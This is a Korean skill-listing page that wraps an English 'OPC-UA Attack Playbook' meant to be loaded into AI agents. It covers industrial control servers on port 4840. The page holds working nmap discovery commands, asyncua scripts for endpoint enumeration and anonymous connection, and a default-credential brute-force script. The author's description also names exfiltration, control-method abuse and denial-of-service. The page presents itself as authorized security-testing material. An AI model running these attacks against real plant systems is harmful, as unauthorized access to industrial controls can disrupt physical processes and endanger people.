opcua
하는 일
이 안내서는 보안이 있거나 없이 실행될 수 있는 최신 산업 프로토콜 OPC UA의 보안 점검을 다룹니다. 서면 승인을 받은 공장 및 IT 보안 팀을 위한 가이드입니다.
사용하는 경우
- ✓허가된 검토에서 OPC UA 서버가 익명 접근을 허용하는지 확인해야 할 때.
- ✓산업 서버가 어떤 보안 정책을 쓰는지 알고 싶을 때.
- ✓제어 메서드를 호출하지 않고 상태 데이터를 살펴봐야 하는 경우.
스킬 링크
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/opcua/SKILL.md복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.
사용 방법
가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.
바로 붙여넣을 수 있는 메시지
Claude Code, Codex, Cursor용입니다. 프로젝트 폴더에서 실행하면 스킬이 설치됩니다.
SKILL.md를 다운로드해 에이전트의 스킬 폴더에 넣으세요.
AI에게 요청하는 예시
“우리 OPC UA 서버에서 익명 접근과 약한 보안 정책이 있는지, 읽기 전용 탐색으로 확인해 주시겠어요?”
매주 새 스킬 5개. 읽는 데 1분.
작동 방식
에이전트는 각 서버에 엔드포인트와 보안 정책을 요청하고, 익명 세션이 허용되는지 확인한 뒤, 제어 메서드를 호출하지 않고 상태 값을 탐색합니다.
기술 내용 (원본 SKILL.md)
작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.
OPC-UA Attack Playbook (TCP 4840)
OPC-UA is the dominant modern IT/OT convergence protocol — Siemens, ABB, Rockwell, Honeywell, and most new DCS/SCADA deployments expose it alongside or instead of legacy fieldbus. It supports security (signing + encryption) but many deployments leave SecurityPolicy: None active for "backwards compatibility," giving full unauthenticated access to the address space.
SAFETY FIRST
OPC-UA Method calls can directly invoke control actions (start/stop, setpoint override, firmware update). Confirm written scope authorization before any call to Method nodes or write to Variable nodes. Read-only browsing (BrowseRequest, ReadRequest on status/telemetry nodes) is generally safe.
Prerequisites
# Install asyncua (successor to python-opcua / opcua-asyncio)
pip install asyncua
# Also useful: opcua-client GUI (optional), opcua-scan
pip install opcua-scan
# OR clone Wavestone opcua-scan:
# git clone https://github.com/wavestone-cdt/opcua-scan
# Confirm target reachability
nmap -p 4840 --open -sV 10.0.0.0/24
Phase 1 — Discover
# nmap service banner on 4840
nmap -p 4840 -sV --script=opcua-discovery 10.0.0.5
# OPC UA Hello probe — get the server's application description
# opcua-scan sends a HEL/ACK and reads GetEndpoints without connecting to a session
python3 -m opcuascan 10.0.0.5:4840
# Output includes: ProductName, ApplicationUri, SecurityPolicies, supported UserIdentityTokens
Phase 2 — GetEndpoints (unauthenticated policy enumeration)
GetEndpoints is always available without a session — it's the pre-auth discovery call.
import asyncio
from asyncua import Client
async def get_endpoints():
url = "opc.tcp://10.0.0.5:4840"
# Use None security policy — client sends HEL, gets ACK, calls GetEndpoints
async with Client(url=url) as client:
endpoints = await client.get_endpoints()
for ep in endpoints:
print(f"URL: {ep.EndpointUrl}")
print(f" SecurityMode: {ep.SecurityMode}") # 1=None, 2=Sign, 3=SignAndEncrypt
print(f" SecurityPolicy: {ep.SecurityPolicyUri}")
for tok in ep.UserIdentityTokens:
print(f" Token: {tok.TokenType}") # 0=Anonymous, 1=UserName, 2=Certificate, 3=IssuedToken
asyncio.run(get_endpoints())
Key findings to record:
SecurityMode: 1(None) +SecurityPolicy: http://opcfoundation.org/UA/SecurityPolicy#None→ plaintext, no signing. Traffic is readable in Wireshark.TokenType: 0(Anonymous) accepted → no credentials needed.TokenType: 1(UserName) present → attempt default/dictionary creds.
Phase 3 — Auth testing
Anonymous connect
import asyncio
from asyncua import Client
async def anon_connect():
url = "opc.tcp://10.0.0.5:4840/OPCUA/SimulationServer"
async with Client(url=url) as client:
# No credentials set — asyncua defaults to Anonymous token
root = client.get_root_node()
print("Root node:", await root.read_browse_name())
# Successful connection here = Anonymous accepted
server_node = client.get_server_node()
status = await server_node.get_child(["0:ServerStatus"])
print("Server status:", await status.read_value())
asyncio.run(anon_connect())
Username/password dictionary attack
import asyncio
from asyncua import Client
from asyncua.ua import uaerrors
DEFAULT_CREDS = [
("admin", "admin"), ("administrator", "administrator"),
("opcua", "opcua"), ("user", "user"), ("guest", ""),
("operator", "operator"), ("root", "root"), ("OpcUaClient", ""),
("Anonymous", ""), ("siemens", "siemens"), ("admin", ""),
]
async def brute_opcua(url):
for user, pwd in DEFAULT_CREDS:
try:
async with Client(url=url) as client:
await client.set_user(user)
await client.set_password(pwd)
await client.connect()
print(f"[+] VALID: {user}:{pwd}")
return user, pwd
except uaerrors.BadUserAccessDenied:
print(f"[-] {user}:{pwd} — denied")
except uaerrors.BadIdentityTokenRejected:
print(f"[-] {user}:{pwd} — rejected")
except Exception as e:
print(f"[!] {user}:{pwd} — {e}")
return None, None
asyncio.run(brute_opcua("opc.tcp://10.0.0.5:4840"))
Phase 4 — Address-space browsing and tag read
Once authenticated (anonymous or credentialed):
import
자주 묻는 질문
보안 정책 None은 무엇을 뜻하나요?
서명이나 암호화 없이 서버가 실행될 수 있다는 뜻이며, 안내서는 일부 배포가 이를 그대로 둔다고 설명합니다.
메서드 호출을 피해야 하는 이유는 무엇인가요?
메서드 호출은 장비를 시작하거나 멈출 수 있으므로 명시적인 서면 승인이 필요합니다.
OPC UA는 어디서 쓰이나요?
안내서는 새로운 산업 제어와 IT 및 OT 통합 프로젝트에서 흔하다고 설명합니다.
상세 정보
작성자의 원본 설명
OPC-UA (TCP 4840) attack playbook — endpoint enumeration, SecurityPolicy mapping, anonymous/weak-auth abuse, address-space browsing and tag read, HistoryRead exfiltration, Method call for control actions, session-exhaustion DoS. Modern IT/OT DMZ convergence protocol replacing legacy fieldbus.
인기도
- GitHub 스타
- 6.5k
- 순위
- #14039
- 라이선스
- Apache-2.0
- 업데이트
- 2026. 11. 1.
댓글
- …
이 저장소의 다른 스킬
detector-overview
6.5k에이전트가 스캐너가 표시한 코드를 읽고, 표시된 곳 중 어디가 실제 보안 버그이고 어디가 오탐인지 판단하도록 돕습니다.
exploiter-overview
6.5k에이전트가 확인된 여러 보안 약점을 하나의 테스트 체인으로 묶고, 그 체인이 어디까지 닿을 수 있는지 확인하도록 돕습니다.
llm-redteam-overview
6.5k에이전트가 프롬프트 인젝션부터 모델 악용까지 15개 전술 그룹 중 테스트에 맞는 AI 레드팀 가이드를 찾도록 돕습니다.
aatmf-t01-prompt-injection
6.5k숨겨진 지시가 AI 시스템을 덮어쓰려 하는 프롬프트 인젝션을 설명해, 보안 테스터가 이를 점검할 수 있게 합니다.